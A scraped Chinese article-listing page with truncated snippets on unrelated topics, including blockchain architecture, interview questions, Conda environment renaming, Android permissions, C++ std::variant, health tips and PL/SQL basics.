<a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E5%8C%BA%E5%9D%97%E9%93%BE/1.htm">区块链</a><a class="tag" taget="_blank" href="/search/%E4%BC%81%E4%B8%9A%E7%BA%A7%E5%8C%BA%E5%9D%97%E9%93%BE%E5%B9%B3%E5%8F%B0/1.htm">企业级区块链平台</a><a class="tag" taget="_blank" href="/search/Hyperchain/1.htm">Hyperchain</a>
                        <div>Hyperchain作为国产自主可控的企业级联盟区块链平台,其核心原理围绕高性能共识、隐私保护、智能合约引擎及可扩展架构展开,通过多模块协同实现企业级区块链网络的高效部署与安全运行。以下从核心架构、关键技术、性能优化、安全机制、应用场景五个维度展开剖析:一、核心架构:分层解耦与模块化设计Hyperchain采用分层架构,将区块链功能解耦为独立模块,支持灵活组合与扩展:P2P网络层由验证节点(VP)</div>
                    </li>
                    <li><a href="/article/1950223879330918400.htm"
                           title="第八章 竟然是他" target="_blank">第八章 竟然是他</a>
                        <span class="text-muted">橥橥</span>

                        <div>十天之后,京城已在眼前。沐子莹总算松了口,天子脚下,相对安全。马车在城门外停下,杨嬷嬷掀了帘子往外望去,哀叹了一声。沐子莹拍拍身上的灰尘安慰她说:“嬷嬷,别怕,马上就要到府了,咱们可得把那车夫的事跟主母讲一讲,让主她这个当家的给我们作主才是。”嬷嬷却连连摆手,“不可啊小姐,咱们能平安回府就是幸事,车夫的事……就说他摔死在半路,其它的,莫要再提了吧。”“若真是车夫生事那算是万幸了,只怕容不得我们的,</div>
                    </li>
                    <li><a href="/article/1950223497875746816.htm"
                           title="最新阿里四面面试真题46道:面试技巧+核心问题+面试心得" target="_blank">最新阿里四面面试真题46道:面试技巧+核心问题+面试心得</a>
                        <span class="text-muted">风平浪静如码</span>

                        <div>前言做技术的有一种资历,叫做通过了阿里的面试。这些阿里Java相关问题,都是之前通过不断优秀人才的铺垫总结的,先自己弄懂了再去阿里面试,不然就是去丢脸,被虐。希望对大家帮助,祝面试成功,有个更好的职业规划。一,阿里常见技术面1、微信红包怎么实现。2、海量数据分析。3、测试职位问的线程安全和非线程安全。4、HTTP2.0、thrift。5、面试电话沟通可能先让自我介绍。6、分布式事务一致性。7、ni</div>
                    </li>
                    <li><a href="/article/1950222852074565632.htm"
                           title="2025年SDK游戏盾终极解析:重新定义手游安全的“隐形护甲”" target="_blank">2025年SDK游戏盾终极解析:重新定义手游安全的“隐形护甲”</a>
                        <span class="text-muted">上海云盾商务经理杨杨</span>
<a class="tag" taget="_blank" href="/search/%E6%B8%B8%E6%88%8F/1.htm">游戏</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a>
                        <div>副标题:从客户端加密到AI反外挂,拆解全链路防护如何重塑游戏攻防天平引言:当传统高防在手游战场“失效”2025年全球手游市场规模突破$2000亿,黑客单次攻击成本却降至$30——某SLG游戏因协议层CC攻击单日流失37%玩家,某开放世界游戏遭低频DDoS瘫痪6小时损失千万。传统高防IP的致命短板暴露无遗:无法识别伪造客户端流量、难防协议篡改、误杀率超15%。而集成于游戏终端的SDK游戏盾,正以“源</div>
                    </li>
                    <li><a href="/article/1950215855858053120.htm"
                           title="善吃五色五味,女人更妖娆,想漂亮享受健康美味吃起来" target="_blank">善吃五色五味,女人更妖娆,想漂亮享受健康美味吃起来</a>
                        <span class="text-muted">余老师讲健康</span>

                        <div>善吃五色五味,女人更妖娆我们所说的五色五味是指具有赤、青、黄、白、黑五种颜色以及酸、辛、甘、苦、咸五种味道的食物。其实五味和五色与人体的五脏对应,养生必养五脏,通过五味、五色的食物可以调养人的容颜。一、赤色、苦味入心——养颜,面色红润有句话这么说,“会吃的女人更漂亮,贪吃的女人变糟粕。”经过科学、合理搭配的五色五味饮食,就是最天然、最安全的美容药方。赤色——抗衰老,增强免疫力,改善血液循环。赤色即</div>
                    </li>
                    <li><a href="/article/1950215220051898368.htm"
                           title="2019做重要的事,让遗憾减少" target="_blank">2019做重要的事,让遗憾减少</a>
                        <span class="text-muted">Sandy黄珊丹</span>

                        <div>岁末年初,又到了回顾和展望的时间。回顾2018,你有哪些事情没有去做或者没有做到而感到遗憾的呢?2019年我们要怎么做,可以减少遗憾呢?回想自己在2017年以前,一直处在忙碌的家庭和事业中,忙碌让我感到安全,稍微停下脚步都感到是一种罪过,每一件事似乎都很重要。直到2017春节后,因为对未来彷徨和焦虑,让我严重失眠,家庭关系恶化,都让心疲惫无法进入工作状态,不得不寻找解决的的办法。在2017年5月份</div>
                    </li>
                    <li><a href="/article/1950213306421669888.htm"
                           title="新家长必修课小贴士—如何做到无条件接纳" target="_blank">新家长必修课小贴士—如何做到无条件接纳</a>
                        <span class="text-muted">SDDE兰</span>

                        <div>2021年6月14日星期一《新父母晨报》【育儿知识】:怎样做才是无条件地接纳孩子呢?在孩子成长的过程当中,来自父母无条件地接纳,是孩子成长的安全基地,是孩子面对任何困难时候的底气。只有被父母无条件接纳的孩子,未来不管遇到什么样的境况,都会感觉有后盾,都能更快地去适应。怎样做才是无条件地接纳孩子呢?有两个非常重要的维度:️接纳孩子的感受✨一个孩子不管他的行为是可爱,还是令人讨厌,他其实都是为了寻求父</div>
                    </li>
                    <li><a href="/article/1950212288136933376.htm"
                           title="今日随笔" target="_blank">今日随笔</a>
                        <span class="text-muted">小小林_005b</span>

                        <div>2019.10.21.周一晴全职第436天50+21/day118天【皮皮第118天】1.昨晚闹腾到一点多才安稳入睡,一个晚上一直哭哭闹闹(´;︵;`),没睡一会儿就会惊吓大哭(´;︵;`),一直抱着哄,似乎抱着才更加有安全感才能睡得更好。小胖子越来越重,我的手和腰部有些承受不了,经常腰酸痛到直不起来,好在有黑先生和啊影子下班后有空了就帮我抱一会儿。2.今日排便三次,一次偏向绿色,一两次金黄色。3</div>
                    </li>
                    <li><a href="/article/1950207853105049600.htm"
                           title="【Coze搞钱实战】3. 避坑指南:对话流设计中的6个致命错误(真实案例)" target="_blank">【Coze搞钱实战】3. 避坑指南:对话流设计中的6个致命错误(真实案例)</a>
                        <span class="text-muted">AI_DL_CODE</span>
<a class="tag" taget="_blank" href="/search/Coze%E5%B9%B3%E5%8F%B0/1.htm">Coze平台</a><a class="tag" taget="_blank" href="/search/%E5%AF%B9%E8%AF%9D%E6%B5%81%E8%AE%BE%E8%AE%A1/1.htm">对话流设计</a><a class="tag" taget="_blank" href="/search/%E5%AE%A2%E6%9C%8DBot%E9%81%BF%E5%9D%91/1.htm">客服Bot避坑</a><a class="tag" taget="_blank" href="/search/%E7%94%A8%E6%88%B7%E6%B5%81%E5%A4%B1/1.htm">用户流失</a><a class="tag" taget="_blank" href="/search/%E5%B0%81%E5%8F%B7%E9%A3%8E%E9%99%A9/1.htm">封号风险</a><a class="tag" taget="_blank" href="/search/%E6%99%BA%E8%83%BD%E5%AE%A2%E6%9C%8D%E9%85%8D%E7%BD%AE/1.htm">智能客服配置</a><a class="tag" taget="_blank" href="/search/%E6%95%85%E9%9A%9C%E4%BF%AE%E5%A4%8D%E6%8C%87%E5%8D%97/1.htm">故障修复指南</a>
                        <div>摘要:对话流设计是智能客服Bot能否落地的核心环节,直接影响用户体验与业务安全。本文基于50+企业Bot部署故障分析,聚焦导致用户流失、投诉甚至封号的6大致命错误:无限循环追问、人工移交超时、敏感词过滤缺失、知识库冲突、未处理否定意图、跨平台适配失败。通过真实案例拆解每个错误的表现形式、技术根因及工业级解决方案,提供可直接复用的Coze配置代码、工作流模板和检测工具。文中包含对话流健康度检测工具使</div>
                    </li>
                    <li><a href="/article/1950207854388506624.htm"
                           title="深入理解 Tomcat Wrapper 原理" target="_blank">深入理解 Tomcat Wrapper 原理</a>
                        <span class="text-muted">北漂老男人</span>
<a class="tag" taget="_blank" href="/search/Tomcat/1.htm">Tomcat</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>深入理解TomcatWrapper原理一、引言在Tomcat的分层容器架构中,Wrapper作为最底层的容器,专门负责管理单个Servlet的生命周期及请求分发。每一个Servlet(包括JSP、Filter等)都对应一个Wrapper。Wrapper是Servlet规范与Tomcat容器实现之间的桥梁,直接关系到请求的分发效率、Servlet的加载与重用、安全隔离等。本文将系统剖析Wrapper</div>
                    </li>
                    <li><a href="/article/1950204010703155200.htm"
                           title="盘点长期可做的副业兼职有哪些?分享7个长期可做的靠谱副业兼职!" target="_blank">盘点长期可做的副业兼职有哪些?分享7个长期可做的靠谱副业兼职!</a>
                        <span class="text-muted">古楼</span>

                        <div>副业兼职做什么好呢?适合上班族的6个副业?不少上班族薪资不高,加薪无望,就希望搞副业多挣点钱,不仅能打消下班的空闲时间,还能丰富自己的生活,还能赚点钱补贴家用。那么有什么适合上班族的副业,既不占用上班的时间,又不会消耗太多的精力影响第二天上班。这里我总结了6个适合上班族的副业,提供给大家,希望有所帮助。第一款优惠劵导购平台,零投资,安全可靠高省APP,是2022年推出的平台,0投资,0风险、高省A</div>
                    </li>
                    <li><a href="/article/1950202938265759744.htm"
                           title="你竟然还在用克隆删除?Conda最新版rename命令全攻略!" target="_blank">你竟然还在用克隆删除?Conda最新版rename命令全攻略!</a>
                        <span class="text-muted">曦紫沐</span>
<a class="tag" taget="_blank" href="/search/Python%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/1.htm">Python基础知识</a><a class="tag" taget="_blank" href="/search/conda/1.htm">conda</a><a class="tag" taget="_blank" href="/search/%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83%E7%AE%A1%E7%90%86/1.htm">虚拟环境管理</a>
                        <div>文章摘要Conda虚拟环境管理终于迎来革命性升级!本文揭秘Conda4.9+版本新增的rename黑科技,彻底告别传统“克隆+删除”的繁琐操作。从命令解析到实战案例,手把手教你如何安全高效地重命名Python虚拟环境,附带版本检测、环境迁移、故障排查等进阶技巧,助你提升开发效率10倍!一、颠覆认知:Conda居然自带重命名功能?很多开发者仍停留在“Conda无法直接重命名环境”的认知阶段,实际上自</div>
                    </li>
                    <li><a href="/article/1950202869147824128.htm"
                           title="链商拉不到人能赚钱么,谈谈我的看法" target="_blank">链商拉不到人能赚钱么,谈谈我的看法</a>
                        <span class="text-muted">糖葫芦不甜</span>

                        <div>链商作为一种新兴的商业形态,往往依赖于用户网络的扩展和交易量的增加来实现价值增长,但这并不意味着没有直接拉新就无法盈利。以下是我对这一问题的几点看法:招合作伙伴↓微信在文章底部。首先,链商能否赚钱,关键在于其是否能提供独特且有价值的产品或服务。如果链商平台能够构建出高效、透明、安全的价值交换体系,解决行业痛点,提升用户体验,那么即使没有大规模的拉新活动,也能通过现有用户的口碑传播和持续使用来产生稳</div>
                    </li>
                    <li><a href="/article/1950200541233606656.htm"
                           title="Android 基础知识:Android 应用权限详解" target="_blank">Android 基础知识:Android 应用权限详解</a>
                        <span class="text-muted">流水mpc</span>
<a class="tag" taget="_blank" href="/search/android/1.htm">android</a>
                        <div>这篇文章为大家系统的梳理一下Android权限相关的知识,在日常开发中,我们都用过权限,但是对于权限的一些细节我们可能掌握的还不够全面,这篇文章会全面的为大家介绍权限相关的知识。当然,本篇文章依然是参考了Google的官方文档:应用权限。本文目录一、认识Android权限(一)Android系统为什么需要权限?Android系统设置权限的目的是保护Android用户的隐私。对于用户的敏感数据And</div>
                    </li>
                    <li><a href="/article/1950199830693343232.htm"
                           title="中原焦点团队党秀丽分享276天,约练268次,5月29日,周五" target="_blank">中原焦点团队党秀丽分享276天,约练268次,5月29日,周五</a>
                        <span class="text-muted">润物无声dang</span>

                        <div>第十二次课,答疑解惑。1.咨询约练过程中遇到来访者上来就说想处理情绪,可是聊的过程中他又不想具体聊他的情绪怎么产生的,多久了,就是希望用外化技术处理他的情绪,我除了好奇是什么让他希望用外化呢,也用阳谋告诉他,外化前也是需要具体的聊聊这个情绪的,还可以怎么做呢?给他安全感这一块大概怎么做呢?不想具体说有他的道理,聊聊情绪大概是什么事儿?专业的认识,专业度的认可。不带功利心,转介几次的不太好,信任程度</div>
                    </li>
                    <li><a href="/article/1950199322037514240.htm"
                           title="《每日邦哥说》第46说:真正拥有人格魅力的女性" target="_blank">《每日邦哥说》第46说:真正拥有人格魅力的女性</a>
                        <span class="text-muted">人民剛</span>

                        <div>内心强大的女人,总是很开朗,对于任何事情,都会一笑而过女人最大的底气,是对自己的自信,也是你的安全感一个女人最重要的是活出精彩自我,这样世界才会为你鼓掌猴小邦俱乐部|幸福小家、帮助大家、贡献国家,伙伴们大家好,欢迎收听每日邦哥说,我是邦哥。有一种女人,她们在感情里面容易失去自我,在生活中遇到困难,连还击的资格都没有,做人只能不断妥协,她们大多都没有太强的远见,往往只看到短期的得失。这种女人,其实往</div>
                    </li>
                    <li><a href="/article/1950194868756213760.htm"
                           title="程序员必备:10 个提升代码质量的工具" target="_blank">程序员必备:10 个提升代码质量的工具</a>
                        <span class="text-muted">大力出奇迹985</span>
<a class="tag" taget="_blank" href="/search/%E5%AE%A0%E7%89%A9/1.htm">宠物</a>
                        <div>在软件开发过程中,代码质量对项目的成功起着决定性作用。高质量的代码不仅易于维护和扩展,还能有效降低成本并提升可靠性。本文精心挑选了10个程序员必备工具,助力提升代码质量。这些工具涵盖代码格式化、静态分析、代码审查、测试、性能优化、安全扫描、版本控制、依赖管理、代码生成以及文档生成等多个关键领域。通过使用它们,开发者能够高效地发现并解决代码中的潜在问题,遵循最佳实践,提升代码的可读性、可维护性与安全</div>
                    </li>
                    <li><a href="/article/1950191460854853632.htm"
                           title="你的连接不是专用连接攻击者可能试图从 github.com 窃取你的信息(例如,密码、消息或信用卡)。 --解决办法" target="_blank">你的连接不是专用连接攻击者可能试图从 github.com 窃取你的信息(例如,密码、消息或信用卡)。 --解决办法</a>
                        <span class="text-muted"></span>

                        <div>我遇到了.检查安全软件或企业防火墙/代理(包括VPN)这个问题,关了就好,我是用来xbox加速github,所以先开在关既可以加速又可以访问这个错误表明你的浏览器(MicrosoftEdge)无法安全地连接到GitHub,因为遇到了证书验证问题(NET::ERR_CERT_AUTHORITY_INVALID)。错误信息明确指出网站使用了HSTS(HTTPStrictTransportSecurit</div>
                    </li>
                    <li><a href="/article/1950186041465958400.htm"
                           title="GitLab 18.2 发布几十项与 DevSecOps 有关的功能,可升级体验【二】" target="_blank">GitLab 18.2 发布几十项与 DevSecOps 有关的功能,可升级体验【二】</a>
                        <span class="text-muted">极小狐</span>
<a class="tag" taget="_blank" href="/search/gitlab/1.htm">gitlab</a><a class="tag" taget="_blank" href="/search/%E6%9E%81%E7%8B%90gitlab/1.htm">极狐gitlab</a><a class="tag" taget="_blank" href="/search/devsecops/1.htm">devsecops</a><a class="tag" taget="_blank" href="/search/devops/1.htm">devops</a><a class="tag" taget="_blank" href="/search/ci%2Fcd/1.htm">ci/cd</a>
                        <div>沿袭我们的月度发布传统,极狐GitLab发布了18.2版本,该版本带来了议题和任务的自定义工作流状态、新的合并请求主页、新的群组概览合规仪表盘、下载安全报告的PDF导出文件、中心化的安全策略管理(Beta)等几十个重点功能的改进。下面是对部分重点功能的详细解读。关于极狐GitLab的安装升级,可以查看官方指导文档。18.2.0容器镜像registry.gitlab.cn/omnibus/gitla</div>
                    </li>
                    <li><a href="/article/1950181127176122368.htm"
                           title="C++中std::variant的使用详解和实战代码示例" target="_blank">C++中std::variant的使用详解和实战代码示例</a>
                        <span class="text-muted">点云SLAM</span>
<a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/variant/1.htm">variant</a><a class="tag" taget="_blank" href="/search/C%2B%2B%E6%B3%9B%E5%9E%8B%E7%BC%96%E7%A8%8B/1.htm">C++泛型编程</a><a class="tag" taget="_blank" href="/search/%E8%81%94%E5%90%88%E4%BD%93/1.htm">联合体</a><a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/%E7%B1%BB%E5%9E%8B%E6%93%A6%E9%99%A4%E6%9C%BA%E5%88%B6/1.htm">类型擦除机制</a><a class="tag" taget="_blank" href="/search/C%2B%2B17/1.htm">C++17</a>
                        <div>std::variant是C++17引入的一个类型安全的联合体(type-safeunion),它可以在多个类型之间存储一个值,并在编译时进行类型检查。它是现代C++类型擦除与泛型编程的核心工具之一,适用于构建可变类型结构、消息传递系统、状态机等。一、基本概念#includestd::variantv;类似于联合体union,但类型安全。std::variant只能存储其中一个类型的值。默认构造时</div>
                    </li>
                    <li><a href="/article/1950180497007112192.htm"
                           title="【MySQL】MySQL数据库如何改名" target="_blank">【MySQL】MySQL数据库如何改名</a>
                        <span class="text-muted">武昌库里写JAVA</span>
<a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95%E9%A2%98%E6%B1%87%E6%80%BB%E4%B8%8E%E8%A7%A3%E6%9E%90/1.htm">面试题汇总与解析</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a>
                        <div>MySQL建库授权语句https://www.jianshu.com/p/2237a9649ceeMySQL数据库改名的三种方法https://www.cnblogs.com/gomysql/p/3584881.htmlMySQL安全修改数据库名几种方法https://blog.csdn.net/haiross/article/details/51282417MySQL重命名数据库https://</div>
                    </li>
                    <li><a href="/article/1950179614320029696.htm"
                           title="python学习笔记(汇总)" target="_blank">python学习笔记(汇总)</a>
                        <span class="text-muted">朕的剑还未配妥</span>
<a class="tag" taget="_blank" href="/search/python%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E6%95%B4%E7%90%86/1.htm">python学习笔记整理</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a>
                        <div>文章目录一.基础知识二.python中的数据类型三.运算符四.程序的控制结构五.列表六.字典七.元组八.集合九.字符串十.函数十一.解决bug一.基础知识print函数字符串要加引号,数字可不加引号,如print(123.4)print('小谢')print("洛天依")还可输入表达式,如print(1+3)如果使用三引号,print打印的内容可不在同一行print("line1line2line</div>
                    </li>
                    <li><a href="/article/1950179451039969280.htm"
                           title="《应对焦虑》做好4点帮你轻松化解焦虑,并从焦虑中走出来" target="_blank">《应对焦虑》做好4点帮你轻松化解焦虑,并从焦虑中走出来</a>
                        <span class="text-muted">程杰读书</span>

                        <div>你焦虑过吗?有被焦虑困扰过吗?那么什么是焦虑呢?焦虑就是对亲人或自己生命安全,前途命运等的过度担心,而产生的一种烦躁情绪。我曾经有一段时间也特别焦虑。那是在一年前由于孩子的数学成绩很差,思维跟不上。我经常辅导她,就是不开窍。把我气的心脏快炸了。怎么办呢?眼看就要上小学高年级了。心里那个着急啊,真的是无处可说。于是就在网校上报了名,让专业老师来辅导。可她对待作业都是马马虎虎,一点都不认真。眼看一学期</div>
                    </li>
                    <li><a href="/article/1950179236295798784.htm"
                           title="word转pdf、pdf转word在线工具分享" target="_blank">word转pdf、pdf转word在线工具分享</a>
                        <span class="text-muted">bpmh</span>
<a class="tag" taget="_blank" href="/search/%E5%B8%B8%E7%94%A8%E5%B7%A5%E5%85%B7/1.htm">常用工具</a><a class="tag" taget="_blank" href="/search/word/1.htm">word</a><a class="tag" taget="_blank" href="/search/pdf/1.htm">pdf</a>
                        <div>️一、在线转换网站(方便快捷,无需安装)MicrosoftOfficeOnline(官方推荐,最安全可靠):网址:直接使用你的Microsoft账户登录https://www.office.com/方法:将你的.docx或.doc文件上传到OneDrive。在OfficeOnline中打开该Word文档。点击文件>另存为>下载PDF副本。优点:官方出品,完全免费,无需额外上传到第三方服务器,安全性</div>
                    </li>
                    <li><a href="/article/1950175200347746304.htm"
                           title="深入剖析 boost::unique_lock<boost::mutex>" target="_blank">深入剖析 boost::unique_lock<boost::mutex></a>
                        <span class="text-muted">程序员乐逍遥</span>
<a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/Boost%E5%BA%93/1.htm">Boost库</a><a class="tag" taget="_blank" href="/search/C%2FC%2B%2B%E5%A4%9A%E7%BA%BF%E7%A8%8B%E7%BC%96%E7%A8%8B%E4%B8%93%E9%A2%98/1.htm">C/C++多线程编程专题</a><a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/boost/1.htm">boost</a><a class="tag" taget="_blank" href="/search/%E7%BA%BF%E7%A8%8B/1.htm">线程</a><a class="tag" taget="_blank" href="/search/%E9%94%81/1.htm">锁</a>
                        <div>在高并发的C++程序中,线程安全是永恒的主题。而boost::unique_lock作为Boost.Thread库中的核心组件,为开发者提供了强大、灵活且异常安全的互斥量管理机制。它不仅是RAII(ResourceAcquisitionIsInitialization)设计模式的典范,更是实现复杂线程同步逻辑的基石。一、从lock_guard的说起在介绍unique_lock之前,我们先回顾其“简</div>
                    </li>
                    <li><a href="/article/1950169919731593216.htm"
                           title="2022-01-13 天气晴 心情好" target="_blank">2022-01-13 天气晴 心情好</a>
                        <span class="text-muted">楠楠的qzone</span>

                        <div>今天主要是吧系统的一些功能给转移到另外一个系统上,然后遇到了一个很差劲的客户,不过呢我也是见多了不去计较了,因为什么样的人都有,平常心就好。晚上去吧thinkphp6的基础知识好好的看了一下,还是学到了很多好东西</div>
                    </li>
                                <li><a href="/article/87.htm"
                                       title="面向对象面向过程" target="_blank">面向对象面向过程</a>
                                    <span class="text-muted">3213213333332132</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>面向对象:把要完成的一件事,通过对象间的协作实现。 
面向过程:把要完成的一件事,通过循序依次调用各个模块实现。 
我把大象装进冰箱这件事为例,用面向对象和面向过程实现,都是用java代码完成。 
 
1、面向对象 
 

package bigDemo.ObjectOriented;

/**
 * 大象类
 * 
 * @Description
 * @author FuJian</div>
                                </li>
                                <li><a href="/article/214.htm"
                                       title="Java Hotspot: Remove the Permanent Generation" target="_blank">Java Hotspot: Remove the Permanent Generation</a>
                                    <span class="text-muted">bookjovi</span>
<a class="tag" taget="_blank" href="/search/HotSpot/1.htm">HotSpot</a>
                                    <div>&nbsp; 
openjdk上关于hotspot将移除永久带的描述非常详细,http://openjdk.java.net/jeps/122 
&nbsp; 
JEP 122: Remove the Permanent Generation

Author	Jon Masamitsu
Organization	Oracle
Created	2010/8/15
Updated	2011/</div>
                                </li>
                                <li><a href="/article/341.htm"
                                       title="正则表达式向前查找向后查找,环绕或零宽断言" target="_blank">正则表达式向前查找向后查找,环绕或零宽断言</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a>
                                    <div>向前查找和向后查找 
1.&nbsp;向前查找:根据要匹配的字符序列后面存在一个特定的字符序列(肯定式向前查找)或不存在一个特定的序列(否定式向前查找)来决定是否匹配。.NET将向前查找称之为零宽度向前查找断言。 
&nbsp;&nbsp;&nbsp;&nbsp;对于向前查找,出现在指定项之后的字符序列不会被正则表达式引擎返回。 
2.&nbsp;向后查找:一个要匹配的字符序列前面有或者没有指定的</div>
                                </li>
                                <li><a href="/article/468.htm"
                                       title="BaseDao" target="_blank">BaseDao</a>
                                    <span class="text-muted">171815164</span>
<a class="tag" taget="_blank" href="/search/seda/1.htm">seda</a>
                                    <div>

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.PreparedStatement;
import java.sql.ResultSet;

public class BaseDao {

	public Conn</div>
                                </li>
                                <li><a href="/article/595.htm"
                                       title="Ant标签详解--Java命令" target="_blank">Ant标签详解--Java命令</a>
                                    <span class="text-muted">g21121</span>
<a class="tag" taget="_blank" href="/search/Java%E5%91%BD%E4%BB%A4/1.htm">Java命令</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这一篇主要介绍与java相关标签的使用  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 终于开始重头戏了,Java部分是我们关注的重点也是项目中用处最多的部分。   &nbsp;   &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
1</div>
                                </li>
                                <li><a href="/article/722.htm"
                                       title="[简单]代码片段_电梯数字排列" target="_blank">[简单]代码片段_电梯数字排列</a>
                                    <span class="text-muted">53873039oycg</span>
<a class="tag" taget="_blank" href="/search/%E4%BB%A3%E7%A0%81/1.htm">代码</a>
                                    <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 今天看电梯数字排列是9 18 26这样呈倒N排列的,写了个类似的打印例子,如下:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
import java.util.Arrays;

public class 电梯数字排列_S3_Test {
	public static void main(S</div>
                                </li>
                                <li><a href="/article/849.htm"
                                       title="Hessian原理" target="_blank">Hessian原理</a>
                                    <span class="text-muted">云端月影</span>
<a class="tag" taget="_blank" href="/search/hessian%E5%8E%9F%E7%90%86/1.htm">hessian原理</a>
                                    <div>Hessian 原理分析 
 
 
 
 
 
一.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 远程通讯协议的基本原理 
 
网络通信需要做的就是将流从一台计算机传输到另外一台计算机,基于传输协议和网络 IO 来实现,其中传输协议比较出名的有 http 、 tcp 、 udp 等等, http 、 tcp 、 udp 都是在基于 Socket 概念上为某类应用场景而扩展出的传输协</div>
                                </li>
                                <li><a href="/article/976.htm"
                                       title="区分Activity的四种加载模式----以及Intent的setFlags" target="_blank">区分Activity的四种加载模式----以及Intent的setFlags</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/android/1.htm">android</a>
                                    <div>&nbsp; 
在多Activity开发中,有可能是自己应用之间的Activity跳转,或者夹带其他应用的可复用Activity。可能会希望跳转到原来某个Activity实例,而不是产生大量重复的Activity。 
这需要为Activity配置特定的加载模式,而不是使用默认的加载模式。 加载模式分类及在哪里配置 
Activity有四种加载模式: 
 
 standard 
 singleTop</div>
                                </li>
                                <li><a href="/article/1103.htm"
                                       title="hibernate几个核心API及其查询分析" target="_blank">hibernate几个核心API及其查询分析</a>
                                    <span class="text-muted">antonyup_2006</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/.net/1.htm">.net</a><a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/%E9%85%8D%E7%BD%AE%E7%AE%A1%E7%90%86/1.htm">配置管理</a>
                                    <div>(一)&nbsp; org.hibernate.cfg.Configuration类 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 读取配置文件并创建唯一的SessionFactory对象.(一般,程序初始化hibernate时创建.) 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Configuration co</div>
                                </li>
                                <li><a href="/article/1230.htm"
                                       title="PL/SQL的流程控制" target="_blank">PL/SQL的流程控制</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/PL%2FSQL%E7%BC%96%E7%A8%8B/1.htm">PL/SQL编程</a><a class="tag" taget="_blank" href="/search/%E5%BE%AA%E7%8E%AF%E6%8E%A7%E5%88%B6/1.htm">循环控制</a>
                                    <div>PL/SQL也是一门高级语言,所以流程控制是必须要有的,oracle数据库的pl/sql比sqlserver数据库要难,很多pl/sql中有的sqlserver里面没有 
&nbsp; 
流程控制; 
   分支语句 if 条件 then 结果 else 结果  end if ;

  条件语句 case    when   条件  then  结果;

   循环语句  loop    </div>
                                </li>
                                <li><a href="/article/1357.htm"
                                       title="强大的Mockito测试框架" target="_blank">强大的Mockito测试框架</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/mockito/1.htm">mockito</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95/1.htm">单元测试</a>
                                    <div>一.自动生成Mock类&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在需要Mock的属性上标记@Mock注解,然后@RunWith中配置Mockito的TestRunner或者在setUp()方法中显示调用MockitoAnnotations.initMocks(this);生成Mock类即可。二.自动注入Mock类到被测试类&nbsp;&nbsp;&nbs</div>
                                </li>
                                <li><a href="/article/1484.htm"
                                       title="精通Oracle10编程SQL(11)开发子程序" target="_blank">精通Oracle10编程SQL(11)开发子程序</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/plsql/1.htm">plsql</a>
                                    <div>/*
 *开发子程序
 */
--子程序目是指被命名的PL/SQL块,这种块可以带有参数,可以在不同应用程序中多次调用
--PL/SQL有两种类型的子程序:过程和函数
--开发过程
--建立过程:不带任何参数
CREATE OR REPLACE PROCEDURE out_time
IS
BEGIN
